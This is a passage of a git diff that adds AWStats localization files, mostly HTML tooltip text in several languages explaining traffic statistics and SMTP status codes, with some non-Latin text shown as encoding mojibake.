+message59=������i��i ������� +message60=�i� +message61=��� +message62=��� +message63=��i +message64=��� +message65=��� +message66=��� +message67=��� +message68=��� +message69=��� +message70=��� +message71=��� +message72=���i���i� +message73=���� ����i� +message74=������� +message75=����i� +message76=����� �� ������� ����i��� +message77=���������i�i +message78=dd mmm yyyy - HH:MM +message79=�i���� +message80=���� ������ +message81=����� +message82=�i����� +message83=������ +message84=�� +message85=�� +message86=�� +message87=�� +message88=�� +message89=�� +message90=�� +message91=��i ����� +message92=��� +message93=���� +message94=�����������i ����������i +message95=�i�. +message96=� ���������� +message97=����. +message98=��������� +message99=������i� +message100=���������� +message101=��������� ��������� +message102=������� +message103=�i���� ���� +message104=��i� +message105=��� +message106=������i� ����i� +message107=��������� � ���� ����� +message108=�� +message109=�� +message110=�� +message111=������ +message112=��� +message113=�i +message114=I�������i� � ���� WhoIs +message115=OK +message116=���i� +message117=������i��� �i���i� +message118=�������� �i��� +message119=����i� +message120=�����: ������i ����� +message121=�����: ������i ����� +message122=�i���� ��������� �����-�������i� +message123=�i���� ����i�-�������i� +message124=I��i ����� +message125=I��i i���� ����������i� (i/��� ����i��i ����������i) +message126=�������i ������-�������i� +message127=�����-�������i +message128=�i������ +message129=����� �������� ���������� � �i��i� ���������i +message130=������ ������� ����� +message131=���������� ������ �i��������� +message132=���������� ������ ���������� +message133=��i���� ���i�� +message134=���������/��������� +message135=������ ������ +message136=����� �i���i�/����'��i� +message137=������� �� '���������' +message138=��i �i���� +message139=�i��� +message140=�������� � �i�������� Java +message141=�������� � �i�������� Macromedia Director +message142=�������� � �i�������� Flash +message143=�������� � �i�������� ����������� Real audio +message144=�������� � �i�������� ����������� Quicktime audio +message145=�������� � �i�������� ����������� Windows Media audio +message146=�������� � �i�������� PDF +message147=���� ������� SMTP +message148=����� +message149=����� +message150=����i� +message151=������ +message152=������i� +message153=�i���� ���������� \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-br.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-br.txt new file mode 100644 index 0000000..77a1308 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-br.txt @@ -0,0 +1,35 @@ +<!-- Brazilian Portuguese tooltips message file (urban@ite.net.br) --> +<!-- $Revision: 1.1 $ - $Date: 2004/08/25 22:38:40 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Número de hosts (<b>endereços IP</b>) clientes diferentes utilizados para conectar. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +</div> +<div class="CTooltip" id="tt5"> +Esta é a quantidate total de dados transferidos por download de ftp.<br /> +Unidades estão em KB, MB ou GB (KiloBytes, MegaBytes ou GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Todas estatísticas relacionadas a tempo são baseadas no +horário do servidor.<br /> +</div> +<div class="CTooltip" id="tt18"> +Aqui os dados reportados são: <b>valores médios</b> (calculados a partir de todos os dados na faixa analisada) +</div> +<div class="CTooltip" id="tt19"> +Aqui os dados reportados são: <b>somas cumulativas</b> (calculados a partir de todos os dados na faixa analisada) +</div> +<div class="CTooltip" id="tt20"> +</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-cz.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-cz.txt new file mode 100644 index 0000000..427bd2c --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-cz.txt @@ -0,0 +1,34 @@ +<!-- Czech tooltips message file (David Jurenka <awstats-translation.box NO SP@M imx.jurenka D.O.T cz>) --> +<!-- $Revision: 1.2 $ - $Date: 2009/08/26 10:14:04 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Počet různých počítačů (<b>IP adres</b>), ze kterých bylo zaznamenáno připojení. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +</div> +<div class="CTooltip" id="tt5"> +Celkový objem dat přenesených přes FTP.<br /> +Udáváno v KB, MB nebo GB (kilobajtech, megabajtech nebo gigabajtech). +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Všechny časové statistiky vycházejí z času na serveru.<br /> +</div> +<div class="CTooltip" id="tt18"> +Zde zobrazené údaje jsou <b>průměrné hodnoty</b> (počítané ze všech přenosů ve sledovaném období). +</div> +<div class="CTooltip" id="tt19"> +Zde zobrazené údaje jsou <b>celkové součty</b> (počítané ze všech přenosů ve sledovaném období). +</div> +<div class="CTooltip" id="tt20"> +</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-en.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-en.txt new file mode 100644 index 0000000..503dbeb --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-en.txt @@ -0,0 +1,34 @@ +<!-- English tooltips message file (eldy@users.sourceforge.net) --> +<!-- $Revision: 1.2 $ - $Date: 2008/11/15 15:55:45 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Number of different client hosts (<b>IP addresses</b>) used to connect. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +</div> +<div class="CTooltip" id="tt5"> +This is the total amount of data transfered by ftp downloads.<br /> +Units are in KB, MB or GB (KiloBytes, MegaBytes or GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +All time related statistics are based on server time.<br /> +</div> +<div class="CTooltip" id="tt18"> +Here, reported data are: <b>average values</b> (calculated from all data between the first and last email in analyzed range) +</div> +<div class="CTooltip" id="tt19"> +Here, reported data are: <b>cumulative sums</b> (calculated from all data between the first and last email in analyzed range) +</div> +<div class="CTooltip" id="tt20"> +</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-gl.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-gl.txt new file mode 100644 index 0000000..836d119 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-gl.txt @@ -0,0 +1,34 @@ +<!-- Galician tooltips message file by Ignacio Agull� (agullo@ati.es) --> +<!-- $Revision: 1.1 $ - $Date: 2010/07/15 22:06:20 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Número de máquinas cliente (<b>enderezos IP</b>) usados para conectarse. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +</div> +<div class="CTooltip" id="tt5"> +Esta é a cantidade total de datos transferidos por descargas ftp.<br /> +As unidades están en KB, MB ou GB (Kilooctetos, Megaoctetos ou Gigaoctetos) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Tódalas estatísticas relacionadas co tempo baséanse na hora do servidor.<br /> +</div> +<div class="CTooltip" id="tt18"> +Aquí, os datos expostos son <b>valores medios</b> (calculados a partir de tódolos datos entre o primeiro e derradeiro correo electrónico no rango analizado) +</div> +<div class="CTooltip" id="tt19"> +Aquí, os datos expostos son <b>sumas acumulativas</b> (calculados a partir de tódolos datos entre o primeiro e o derradeiro correo electrónico no rango analizado) +</div> +<div class="CTooltip" id="tt20"> +</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-gr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-gr.txt new file mode 100644 index 0000000..a9016ef --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-gr.txt @@ -0,0 +1,33 @@ + +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Αριθμός από διαφορετικούς πελάτες (<b>IP διευθύνσεις</b>) που χρησιμοποιήθηκαν για σύνδεση. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +</div> +<div class="CTooltip" id="tt5"> +Αυτό είναι το συνολικό μέγεθος δεδομένων που μεταφέρθηκαν μέσω ftp.<br /> +Οι μονάδες είναι σε KB, MB ή GB (KiloBytes, MegaBytes ή GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Όλα τα στατιστικά που συσχετίζονται με χρόνο είναι βάση της ώρας του διακομιστή.<br /> +</div> +<div class="CTooltip" id="tt18"> +Εδώ, τα δεδομένα που αναφέρονται είναι: <b>μέσος όρος τιμών</b> (έχουν υπολογιστεί από όλα τα δεδομένα μεταξύ του πρώτου και του τελευταίου e-mail στο εύρος της ανάλυσης) +</div> +<div class="CTooltip" id="tt19"> +Εδώ, τα δεδομένα που αναφέρονται είναι: <b>συγκεντρωτικά σύνολα</b> (έχουν υπολογιστεί από όλα τα δεδομένα μεταξύ του πρώτου και του τελευταίου e-mail στο εύρος της ανάλυσης) +</div> +<div class="CTooltip" id="tt20"> +</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-is.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-is.txt new file mode 100644 index 0000000..d313b23 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-is.txt @@ -0,0 +1,34 @@ +<!-- Icelandic tooltips message file (throstur@bylur.net) --> +<!-- $Revision: 1.1 $ - $Date: 2004/09/19 11:06:05 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Fj�ldi mismunandi v�la (<b>IP-vistfanga</b>) sem nota�ar voru til a� tengjast. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +</div> +<div class="CTooltip" id="tt5"> +�etta er heildargagnamagn sem hala� var ni�ur me� ftp.<br /> +Einingar eru � KB, MB e�a GB (K�l�B�ti, MegaB�ti e�a G�gaB�ti) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +�ll t�matengd t�lfr��i er bygg� � klukku net�j�ns.<br /> +</div> +<div class="CTooltip" id="tt18"> +G�gn � �essari sk�rslu eru: <b>me�algildi</b> (reiknu� �t fr� �llum g�gnum milli fyrsta og s��asta br�fs � greindu t�mabili) +</div> +<div class="CTooltip" id="tt19"> +G�gn � �essari sk�rslu eru: <b>samt�lur</b> (reiknu� �t fr� �llum g�gnum milli fyrsta og s��asta br�fs � greindu t�mabili) +</div> +<div class="CTooltip" id="tt20"> +</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-it.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-it.txt new file mode 100644 index 0000000..1eb8a24 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-it.txt @@ -0,0 +1,34 @@ +<!-- Italian tooltips message file (starknight@starkingdom.it) --> +<!-- $Revision: 1.1 $ - $Date: 2006/01/04 18:52:47 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Numero di client host diversi (<b>indirizzi IP</b>) che si sono connessi. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +</div> +<div class="CTooltip" id="tt5"> +Questo valore indica la quantit� totale di dati trasferita dai download ftp.<br /> +Le unit� di misura sono espresse in KB, MB o GB (KiloByte, MegaByte o GigaByte) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Gli orari visualizzati sono basati sul fuso orario del server.<br /> +</div> +<div class="CTooltip" id="tt18"> +I dati qui riportati sono <b>valori medi</b> (calcolati su tutti i dati tra il primo e l'ultimo accesso nel periodo di tempo analizzato) +</div> +<div class="CTooltip" id="tt19"> +I dati qui riportati sono <b>somme cumulative</b> (calcolate su tutti i dati tra il primo e l'ultimo accesso nel periodo di tempo analizzato) +</div> +<div class="CTooltip" id="tt20"> +</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-ru.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-ru.txt new file mode 100644 index 0000000..0766088 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_f/awstats-tt-ru.txt @@ -0,0 +1,34 @@ +<!--Russian tooltips message file --> +<!-- $Revision: 1.1 $ - $Date: 2009/05/25 16:06:42 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Число различных хостов (разных <b>IP адресов</b>), соединявшихся с FTP-сервером. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +</div> +<div class="CTooltip" id="tt5"> +Это общее количество данных, переданых по протоколу FTP.<br /> +Единицы указаны в Kb, Mb или Gb (килобайты, мегабайты или гигабайты). +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Отраженное в статистике время это серверное время.<br /> +</div> +<div class="CTooltip" id="tt18"> +Здесь, приведенные данные: <b>средние значения</b> +</div> +<div class="CTooltip" id="tt19"> +Здесь, приведенные данные: <b>кумулятивные суммы</b> +</div> +<div class="CTooltip" id="tt20"> +</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-br.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-br.txt new file mode 100644 index 0000000..bc3632c --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-br.txt @@ -0,0 +1,88 @@ +<!-- Brazilian Portuguese tooltips message file (urban@ite.net.br) --> +<!-- $Revision: 1.2 $ - $Date: 2008/11/06 21:11:05 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Número de hosts clientes diferentes (<b>endereços IP</b>) que +enviaram mensagens. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Número de vezes que um <b>email</b> foi transmitido com sucesso.<br /> +</div> +<div class="CTooltip" id="tt5"> +Este é o volume total de dados transferidos por mensagens.<br /> +As unidades estão em KB, MB ou GB (KiloBytes, MegaBytes ou GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Todas as estatísticas reportadas são baseadas no horário +do servidor.<br /> +</div> +<div class="CTooltip" id="tt18"> +Aqui os dados reportados são: <b>valores médios</b> (calculados +a partir de todos os dados entre a primeira e a última mensagem no +período analisado) +</div> +<div class="CTooltip" id="tt19"> +Aqui os dados reportados são: <b>somas acumulativas</b> (calculadas a +partir de todos os dados entre a primeira e a última mensagem no +período analisado) +</div> +<div class="CTooltip" id="tt20"> +</div> + +<div class="CTooltip" id="tt200"><b>Sucesso:</b> Resposta de sucesso +não padronizada</div> +<div class="CTooltip" id="tt211"><b>Sucesso:</b> Estado do sistema, ou Ajuda +do sistema</div> +<div class="CTooltip" id="tt214"><b>Sucesso:</b> Mensagem de Ajuda</div> +<div class="CTooltip" id="tt220"><b>Sucesso:</b> <domain> Serviço +pronto</div> +<div class="CTooltip" id="tt221"><b>Sucesso:</b> <domain> Serviço +fechando canal de transmissão</div> +<div class="CTooltip" id="tt250"><b>Sucesso:</b> O servidor de e-mail de seu +ISP executou um comando com sucesso e o DNS está reportando uma entrega +positiva</div> +<div class="CTooltip" id="tt251"><b>Sucesso:</b> Sua mensagem para um +endereço de e-mail especificado não é local ao servidor +de e-mail, mas ele irá aceitar e encaminhar a mensagem para um novo +endereço de e-mail de destino</div> +<div class="CTooltip" id="tt252"><b>Sucesso:</b> Destinatários +não podem ser verificados mas o servidor aceita a mensagem e +tentará entregá-la</div> + +<div class="CTooltip" id="tt354"><b>Sucesso:</b> Indica que o servidor de +mensagens está pronto para aceitar a mensagem ou instruir seu programa cliente +de e-mail a enviar o corpo da mensagem após o servidor ter recebido os +cabeçalhos da mensagem.</div> + +<div class="CTooltip" id="tt421"><b>Erro temporário:</b> Este pode ser um reply a qualquer comando se o setviço sabe que deve ser desligado.</div> +<div class="CTooltip" id="tt450"><b>Erro temporário:</b> O servidor de e-mail de seu provedor indicou que o endereço de e-mail não existe, a caixa-postal está ocupada ou o e-mail foi temporariamente recusado. Isto pode ser devido a conexões de rede terem caído enquanto enviando, ou pode também acontecer se o servidor de e-mail remoto não quiser aceitar mensagens suas por alguma razão p.e. (endereço IP, endereço From, Destinatário, etc.)</div> +<div class="CTooltip" id="tt451"><b>Erro temporário:</b> O servidor de e-mail do seu provedor indica que o envio foi interrompido, normalmente devido a sobrecarga de mensagens ou falha transiente em que a mensagem enviada é válida, mas algum evento temporário náo permitiu o envio com sucesso da mensagem. Enviar no futuro pode resultar em sucesso</div> +<div class="CTooltip" id="tt452"><b>Erro temporário:</b> O servidor de e-mail do seu provedor indica provável sobrecarda de mensagens e enviar no futuro pode resultar em sucesso</div> +<div class="CTooltip" id="tt453"><b>Erro temporário:</b> Alguns servidores têm a opção de reduzir o número de conexões simultâneas e também o número de mensagens enviadas por conexão. Se você tem várias mensagens enfileiradas pode ser devido a exceder o número máximo de mensagens por conexão. Para verificar se este é o caso você pode tentar enviar apenas algumas mensagens para aquele domínio de uma vez e aumentar o número de mensagens até encontrar o número máximo de mensagens aceito pelo servidor</div> + +<div class="CTooltip" id="tt500"><b>Erro permanente:</b> Erro de sintaxe, comando não reconhecido ou linha de comando muito longa</div> +<div class="CTooltip" id="tt501"><b>Erro permanente:</b> Erro de sintaxe em parâmetros ou argumentos</div> +<div class="CTooltip" id="tt502"><b>Erro permanente:</b> Comando não implementado</div> +<div class="CTooltip" id="tt503"><b>Erro permanente:</b> Servidor encontrou uma seqüência de comandos incorretos</div> +<div class="CTooltip" id="tt504"><b>Erro permanente:</b> Parâmetro de comando não implementado</div> +<div class="CTooltip" id="tt521"><b>Erro permanente:</b> Você deve ser um usuário autenticado em pop antes de poder utilizar este servidor SMTP e você deve utilizar seu endereço de e-mail no campo de remetente (Sender/From).</div> +<div class="CTooltip" id="tt530"><b>Erro permanente:</b> Acesso negado. Um sendmailismo ?</div> +<div class="CTooltip" id="tt550"><b>Erro permanente:</b> Enviar e-mails para remetentes de fora de seu domínio não é permitido ou seu servidor de e-mail não reconhece que você tem acesso a utilizá-lo para relay de mensagens e autenticação é necessária. Ou para prevenir o envio de SPAM alguns servidores de e-mail não permitirão enviar (relay) e-mail para qualquer e-mail utilizando a rede ou recursos computacionais de outra empresa.</div> +<div class="CTooltip" id="tt551"><b>Erro permanente:</b> Usuário não local: favor tentar <forward-path> ou Endereço Inválido: Requisição de Relay recusada</div> +<div class="CTooltip" id="tt552"><b>Erro permanente:</b> Ação requisitada de e-mail abortada: excede espaço disponível. O servidor de e-mail do provedor indica uma provável sobrecarga devido a muitas mensagens.</div> +<div class="CTooltip" id="tt553"><b>Erro permanente:</b> Ação requisitada de e-mail não realizada: nome de caixa-postal não permitido. Alguns servidores de e-mail têm a opção de reduzir o número de conexões simultâneas e tambám o número de mensagens por conexão. Se você tém várias mensagens enfileiradas (sendo enviadas) para um domínio, pode exceder o número máximo de mensagens por conexão e/ou alguma alteração na mensagem e/ou destinatário deve ser feita para o envio ter sucesso.</div> +<div class="CTooltip" id="tt554"><b>Erro permanente:</b> Ação requisitada de e-mail rejeitada: accesso recusado</div> +<div class="CTooltip" id="tt557"><b>Erro permanente:</b> Muitas mensagens duplicadas. Recursos temporariamente indisponíveis. Indica (possível) que exista algum tipo de sistema anti-spam no servidor de e-mail.</div> + +<div class="CTooltip" id="tt999">Este é um erro desconhecido. Erros deste tipo não são reportados pelo servidor de e-mail, mas pela ferramenta maillogconvert.pl quando ela detecta no log que o envio não teve sucesso e o arquivo de log não contém nenhuma explicação do erro.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-cz.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-cz.txt new file mode 100644 index 0000000..d95c750 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-cz.txt @@ -0,0 +1,68 @@ +<!-- Czech tooltips message file (David Jurenka <awstats-translation.box NO SP@M imx.jurenka D.O.T cz>) --> +<!-- $Revision: 1.1 $ - $Date: 2009/08/26 10:14:07 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Počet různých počítačů (<b>IP adres</b>), co odeslaly email. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Počet úspěšných <b>emailových</b> přenosů.<br /> +</div> +<div class="CTooltip" id="tt5"> +Celkový objem přenesených emailů.<br /> +Udáváno v KB, MB nebo GB (kilobajtech, megabajtech nebo gigabajtech). +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Všechny časové statistiky vycházejí z času na serveru.<br /> +</div> +<div class="CTooltip" id="tt18"> +Zde zobrazené údaje jsou <b>průměrné hodnoty</b> (počítané ze všech emailů ve sledovaném období). +</div> +<div class="CTooltip" id="tt19"> +Zde zobrazené údaje jsou <b>celkové součty</b> (počítané ze všech emailů ve sledovaném období). +</div> +<div class="CTooltip" id="tt20"> +</div> + +<div class="CTooltip" id="tt200"><b>Provedeno:</b> Nestandardní kladná odpověď</div> +<div class="CTooltip" id="tt211"><b>Provedeno:</b> Systémový status nebo nápověda</div> +<div class="CTooltip" id="tt214"><b>Provedeno:</b> Nápověda</div> +<div class="CTooltip" id="tt220"><b>Provedeno:</b> Služba připravena</div> +<div class="CTooltip" id="tt221"><b>Provedeno:</b> Spojení ukončeno</div> +<div class="CTooltip" id="tt250"><b>Provedeno:</b> Požadovaná emailová operace úspěšná provedena</div> +<div class="CTooltip" id="tt251"><b>Provedeno:</b> Adresát zprávy není místní; zpráva bude přesměrována na jinou adresu</div> +<div class="CTooltip" id="tt252"><b>Provedeno:</b> Adresáta nelze VRFYkovat, nicméně systém zprávu převezme a pokusí se o její doručení</div> + +<div class="CTooltip" id="tt354">Výzva serveru k zadání těla zprávy</div> + +<div class="CTooltip" id="tt421"><b>Dočasná chyba:</b> Služba nedostupná, spojení ukončeno (toto může být odpovědí na jakýkoli příkaz, pokud služba ví, že musí být ukončena)</div> +<div class="CTooltip" id="tt450"><b>Dočasná chyba:</b> Požadovaná akce byla stornována, neboť schránka není dostupná. Schránka může být zaneprázdněna, není k ní přístup, anebo server dočasně blokuje vaše emaily (např. na základě IP adresy či odesílatele).</div> +<div class="CTooltip" id="tt451"><b>Dočasná chyba:</b> Požadovaná akce byla stornována z důvodu vnitřní chyby při zpracování. Toto bývá způsobeno přetížením serveru nebo nějakým jeho dočasným problémem. Zkuste zopakovat požadavek později.</div> +<div class="CTooltip" id="tt452"><b>Dočasná chyba:</b> Požadovaná akce byla stornována z důvodu nedostatku úložního prostoru. Zkuste zopakovat požadavek později.</div> +<div class="CTooltip" id="tt453"><b>Dočasná chyba:</b> Některé poštovní servery umožňují omezit maximální počet simultánních spojení a počet zpráv odeslaných v rámci jednoho spojení. Pokud máte hodně zpráv čekajících na odeslání, zkuste snížit počet zpráv předávaných v rámci jednoho spojení a následně jejich počet zvyšovat, až zjistíte přesné omezení serveru.</div> + +<div class="CTooltip" id="tt500"><b>Trvalá chyba:</b> Syntaktická chyba; příkaz nerozpoznán nebo příliš dlouhý</div> +<div class="CTooltip" id="tt501"><b>Trvalá chyba:</b> Syntaktická chyba v parametrech či argumentech</div> +<div class="CTooltip" id="tt502"><b>Trvalá chyba:</b> Příkaz není implementován.</div> +<div class="CTooltip" id="tt503"><b>Trvalá chyba:</b> Chybná posloupnost příkazů</div> +<div class="CTooltip" id="tt504"><b>Trvalá chyba:</b> Parametr příkazu není implementován.</div> +<div class="CTooltip" id="tt521"><b>Trvalá chyba:</b> Server nepřijímá poštu, anebo vyžaduje autorizaci POP before SMTP.</div> +<div class="CTooltip" id="tt530"><b>Trvalá chyba:</b> Pro předávání pošty je vyžadována autorizace.</div> +<div class="CTooltip" id="tt550"><b>Trvalá chyba:</b> Požadovaná akce nebyla provedena, neboť schránka není dostupná. Schránka buď neexistuje, není k ní přístup, anebo došlo k odmítnutí příkazu z důvodu vnitřního nastavení serveru.</div> +<div class="CTooltip" id="tt551"><b>Trvalá chyba:</b> Adresát není místní, zkuste použít nabízenou jinou adresu.</div> +<div class="CTooltip" id="tt552"><b>Trvalá chyba:</b> Požadovaná akce byla stornována z důvodu nedostatku úložního prostoru.</div> +<div class="CTooltip" id="tt553"><b>Trvalá chyba:</b> Požadovaná akce nebyla provedena; nepovolený název schránky (např. špatná syntax)</div> +<div class="CTooltip" id="tt554"><b>Trvalá chyba:</b> Transakce selhala.</div> +<div class="CTooltip" id="tt557"><b>Trvalá chyba:</b> Příliš mnoho duplicitních zpráv, anebo odmítnutí na základě nějakého antispamového filtru</div> + +<div class="CTooltip" id="tt999">Toto je neznámá chyba. Tento chybový kód zaznamenává skript maillogconvert.pl, když při analyzování logu narazí na odeslání, které nebylo úspěšné, a log přitom neobsahuje žádné další vysvětlení této chyby.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-en.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-en.txt new file mode 100644 index 0000000..e493d5f --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-en.txt @@ -0,0 +1,68 @@ +<!-- English tooltips message file (eldy@users.sourceforge.net) --> +<!-- $Revision: 1.4 $ - $Date: 2008/11/15 15:55:45 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Number of different client hosts (<b>IP addresses</b>) who sent mails. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Number of times an <b>email</b> was transfered by success.<br /> +</div> +<div class="CTooltip" id="tt5"> +This is the total amount of data transfered by mails.<br /> +Units are in KB, MB or GB (KiloBytes, MegaBytes or GigaBytes) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +All time related statistics are based on server time.<br /> +</div> +<div class="CTooltip" id="tt18"> +Here, reported data are: <b>average values</b> (calculated from all data between the first and last email in analyzed range) +</div> +<div class="CTooltip" id="tt19"> +Here, reported data are: <b>cumulative sums</b> (calculated from all data between the first and last email in analyzed range) +</div> +<div class="CTooltip" id="tt20"> +</div> + +<div class="CTooltip" id="tt200"><b>Success:</b> Non standard success response</div> +<div class="CTooltip" id="tt211"><b>Success:</b> System status, or system help repl</div> +<div class="CTooltip" id="tt214"><b>Success:</b> Help message</div> +<div class="CTooltip" id="tt220"><b>Success:</b> <domain> Service ready</div> +<div class="CTooltip" id="tt221"><b>Success:</b> <domain> Service closing transmission channel</div> +<div class="CTooltip" id="tt250"><b>Success:</b> Your ISP mail server have successfully executes a command and the DNS is reporting a positive delivery</div> +<div class="CTooltip" id="tt251"><b>Success:</b> Your message to a specified email address is not local to the mail server, but it will accept and forward the message to a different recipient email address</div> +<div class="CTooltip" id="tt252"><b>Success:</b> Recipient cannot be verified but mail server accepts the message and attempts delivery</div> + +<div class="CTooltip" id="tt354"><b>Success:</b> Indicates mail server is ready to accept the message or instruct your mail client to send the message body after the mail server have received the message headers.</div> + +<div class="CTooltip" id="tt421"><b>Temporary error:</b> This may be a reply to any command if the service knows it must shut down.</div> +<div class="CTooltip" id="tt450"><b>Temporary error:</b> Your ISP mail server indicates that an email address does not exist, mailbox is busy or mail temporarly refused. It could be the network connection went down while sending, or it could also happen if the remote mail server does not want to accept mail from you for some reason i.e. (IP address, From address, Recipient, etc.)</div> +<div class="CTooltip" id="tt451"><b>Temporary error:</b> Your ISP 